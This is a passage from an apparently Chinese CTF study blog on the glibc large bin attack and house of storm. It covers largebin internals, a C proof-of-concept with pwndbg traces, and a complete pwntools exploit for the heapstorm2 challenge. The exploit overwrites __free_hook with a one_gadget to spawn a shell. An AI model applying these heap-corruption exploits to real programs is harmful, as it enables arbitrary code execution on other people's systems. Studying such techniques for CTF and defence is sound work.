0%

large bin attack

Large Bin Attack

好耶,又是另一个链表的利用🤢🤢。

没太看懂,再去看看

有点看懂了,回来记录一下

largebin结构

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

可见largebin的空闲堆结构和fastbin的结构大不一样,有了fd_nextsizebk_nextsize两个地址空间,因为有了这两个地址空间,储存chunk时也变得不一样,不是简单的单链表和双向链表,具体结构如下图

image-20211119155541141

可见是一个横向和纵向的结构,横向记录着不同大小的chunk,用fd_nextsizebk_nextsize连接,大小排序是从大到小,纵向是记录着相同大小的chunk,不同的chunk用fd和bk连接,这样的话,一条largebin链(一条largebin的链表记录的chunk的大小不是固定的,而是一定范围)中又分了不同大小chunk的链表,这些链表的堆头都还是链接的,这样做可以加快寻找空闲chunk的速度。

插入largebin链的步骤

​ 1.找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd。
​ 2.如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsize和fd_nextsize赋值为它本身。
​ 3.如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。
​ 4.如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。
​ 5.如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。
​ 6.如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsize与bk_nextsize。

Large bin Attack

1.利用条件

​ 存在UAF或者其他漏洞能够修改同一个Largebin或者bk_nextsize

2.效果

任意地址写入堆地址(重点)

利用下面这段代码进行漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

unsigned long *p1 = malloc(0x100);
malloc(0x20);//防止合并
unsigned long *p2 = malloc(0x400);
malloc(0x20);//防止合并
unsigned long *p3 = malloc(0x410);
malloc(0x20);//防止合并

free(p1);
free(p2);
//触发malloc_consolidate,之后p1的剩余部分在unsortedbin中,p2在largebin中
malloc(0x40);
//将p3放入unsortedbin中
free(p3);

p2[0] = 0;//fd
p2[1] = (unsigned long)(&stack_var1 - 2);//bk
p2[2] = 0;//fd_nextsize
p2[3] = (unsigned long)(&stack_var2 - 4);//bk_nextsize

malloc(0x40);

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

先在free(p3)下断点,查看这时的bins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602050 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602050 /* 'P `' */
smallbins
empty
largebins
0x400: 0x602140 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602140 /* '@!`' */

可以看见p1和p2都触发malloc_consolidate,p1到了smallbin,p2到了largebin

查看p2内容

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x602140
0x602140: 0x0000000000000000 0x0000000000000411
0x602150: 0x00007ffff7dd1f68 0x00007ffff7dd1f68
0x602160: 0x0000000000602140 0x0000000000602140
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000

可以看见这时候链表里只有他一个堆且他为堆头,fd_nextsize和bk_nextsize都是自身地址

再把程序运行到malloc(0x40),查看p2内容

1
2
3
4
5
pwndbg> x/20gx 0x602140
0x602140: 0x0000000000000000 0x0000000000000411
0x602150: 0x0000000000000000 0x00007fffffffddc0
0x602160: 0x0000000000000000 0x00007fffffffddb8
0x602170: 0x0000000000000000 0x0000000000000000

可见p2的bk和bk_nextsize地址空间的值都被更改了。都指向了栈空间。

然后执行malloc(0x40)

1
2
3
4
5
6
7
8
9
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffddd0 —▸ 0x602580 ◂— 0x0
01:0008│ 0x7fffffffddd8 —▸ 0x602580 ◂— 0x0
02:0010│ 0x7fffffffdde0 —▸ 0x602010 —▸ 0x7ffff7dd1c78 (main_arena+344) —▸ 0x7ffff7dd1c68 (main_arena+328) —▸ 0x7ffff7dd1c58 (main_arena+312) ◂— ...
03:0018│ 0x7fffffffdde8 —▸ 0x602150 ◂— 0x0
04:0020│ 0x7fffffffddf0 —▸ 0x602590 —▸ 0x602140 ◂— 0x0
05:0028│ 0x7fffffffddf8 ◂— 0x6262b714a4749e00
06:0030│ rbp 0x7fffffffde00 —▸ 0x4007b0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffde08 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov

发现栈上的值被更改成堆地址了,至于为什么会这样,且细细道来

先看一下这段代码干了啥

先申请了三个堆,p1是0x100,p2是0x400,p3是0x410

然后free掉p1和p2,再malloc(0x40),导致p1转移到smallbin 然后p2转移到largebin

修改p2数据p2->bk=(unsigned long)(&stack_var1 - 2),p2->bk_nextsize=(unsigned long)(&stack_var2 - 4)

申请0x40chunk触发malloc_consolidate,p3将要链入largebin中

漏洞就在这个时候发挥作用,因为p3要进入largebin的链表,所以要执行入链操作

因为p3大于p2,而p3对应的堆链又是空的情况下就会执行下面这两段代码,其中p3指的是victim,p2指的是fwd,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bck = fwd->bk;
/..../
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//这里
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//*(&stack_var2 - 4*0x8+0x20)=*(&stack_var1)=p3
}

victim->bk = bck;//p3->bk=bck
victim->fd = fwd;//p3->fd=p2
fwd->bk = victim;
bck->fd = victim;//*(&stack_var1 - 2*0x8+0x10)=*(&stack_var1)=p3

这样就完成了任意地址写入堆地址。

large bin arrack 高级利用

house of strom

largebinattack能完成1任意地址写堆地址,但是一般没啥大用,但是largebinsttack的高级利用house of storm却能完成任意地址请求堆

利用house of storm的前置条件

1.能控制一个large bin 的堆的bk_nextsize

2.能控制unsortedbin的一个堆的bk

主要思路就是利用largebinattack来fake一个chunk,然后利用unsortedbin对fake_chunk进行请求。

第一步 伪造堆

依靠largebinattack完成这一步,伪造堆的话主要伪造两个地方,一个是size,一个是bk位置,size使用bk_nextsize来伪造,bk(fake_chunk)使用bk(指large的bk)来伪造,伪造原理如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bck = fwd->bk;
/..../
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//这里
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//*(&stack_var2 - 4*0x8+0x20)=*(&stack_var1)=p3
}

victim->bk = bck;//p3->bk=bck
victim->fd = fwd;//p3->fd=p2
fwd->bk = victim;
bck->fd = victim;//*(&stack_var1 - 2*0x8+0x10)=*(&stack_var1)=p3

注意size位不能直接写入这个堆的地址,那样估计太大了,一般来说程序基地址一般是0x55或者0x56开头,堆的地址当然也是这两个开头,可以通过错位的方式使size位只写入堆地址第一个字节,令bk_nextsize=target-0x18-5,这样在执行victim->bk_nextsize->fd_nextsize = victim;victim->bk_nextsize->fd_nextsize就指向了target-0x18-5+0x20=target+0x8-5,而堆的地址是六个字节,从target+0x8-5处存地址,存完后五个以后首字节就储存在target+0x8处,这个地址刚好是size的地址,size就伪造完了。

在伪造bk之前先搞明白伪造要伪造bk指针

1
2
3
4
5
unsorted_chunks (av)->bk = bck;
//bck指的是target_chunk->bk
//unsortbin的bk指针指向倒数第二个堆块
bck->fd = unsorted_chunks (av);
//需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

因为fake_chunk在unsorted中脱链时需要访问他的bk地址,向bk地址处储存头结点,所以bk处得是一个有效的值,如果不伪造的这个地方大概率不是有效地址,会导致fake_chunk脱链失败。这就是伪造原因

利用large的bk进行伪造,伪造原理还是上面那个源码,令large->bk=target+0x8,在执行bck->fd = victim;时victim的地址就会写入(target+0x8+0x10)=(target->bk)中去,bk储存着一个堆的地址,当然就是有效地址了。

注意:插入的chunk的值要大于布置的largechun的大小(即插在布置的kargechunk的前面)

第二步 申请fake_chunk

申请fake_chunk实际上就是伪造完自己执行的,unsorted在把上一个尾结点脱链后(插到了large,完成布置),然后再找尾结点,这时尾结点就是伪造的fake_chunk,然后执行下面代码脱链

1
2
3
4
5
unsorted_chunks (av)->bk = bck;
//bck指的是target_chunk->bk
//unsortbin的bk指针指向倒数第二个堆块
bck->fd = unsorted_chunks (av);
//需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

注意布置的fake_chunk的size是0x55或者0x56,所以申请的堆的大小得是0x50。

此时就完成了任意地址申请堆了。可以靠这个堆改写储存堆地址的指针区,完成任意地址读写。

例题heapstorm2

这道题先放一个payload,因为还涉及off by null漏洞,所以在off by null中仔细分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from os import system
from pwn import *
context.log_level='debug'
elf=ELF('./heapstorm2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
def add(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))

def update(index,content):
sh.recvuntil('Command: ')
sh.sendline('2')
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(len(content)))
sh.recvuntil("Content: ")
sh.send(content)

def free(index):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil("Index: ")
sh.sendline(str(index))

def show(index):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))

i=1
def pwn():
while True:
#sh=process('./heapstorm2')
#sh=remote('node4.buuoj.cn',29023)
#gdb.attach(sh,"b main")
add(0x18)#0
add(0x508)#1
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#2
add(0x18)#3
add(0x508)#4
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#5
add(0x18)#6

free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 overlap
free(1)
free(2)
# add(0x18)
# add(0x4d8)
add(0x38)#1
add(0x4e8)#2

update(4,'s'*0x4f0+p64(0x500))
free(4)
update(3,'s'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
free(4)
free(5)
add(0x48)#4

free(2)
add(0x4e8)#2
free(2)

#unsorted bin
fake_chunk=0x13370800-0x20
p1=p64(0)*2+p64(0)+p64(0x4f1)
p1+=p64(0)+p64(fake_chunk)
update(7,p1)

#large bin
p=p64(0)*4+p64(0)+p64(0x4e1)
p+=p64(0)+p64(fake_chunk+8)
p+=p64(0)+p64(fake_chunk-0x18-5)
update(8,p)
add(0x48)#2
p2=p64(0)*5+p64(0x13377331)
p2+=p64(0x13370800)
update(2,p2)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(fake_chunk+3)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
heap=u64(sh.recv(6).ljust(8,'\x00'))
print hex(heap)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(heap+0x10)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
hook_base=u64(sh.recv(6).ljust(8,'\x00'))-0x58-0x10
libc_base=hook_base-libc.symbols['__malloc_hook']
print hex(libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(free_hook)+p64(0x8)
update(0,p3)
update(1,p64(ogg[1]+libc_base))
free(1)
sh.interactive()
if __name__ == "__main__":
while True:
sh = process('./heapstorm2')
try:
pwn()
except:
sh.close()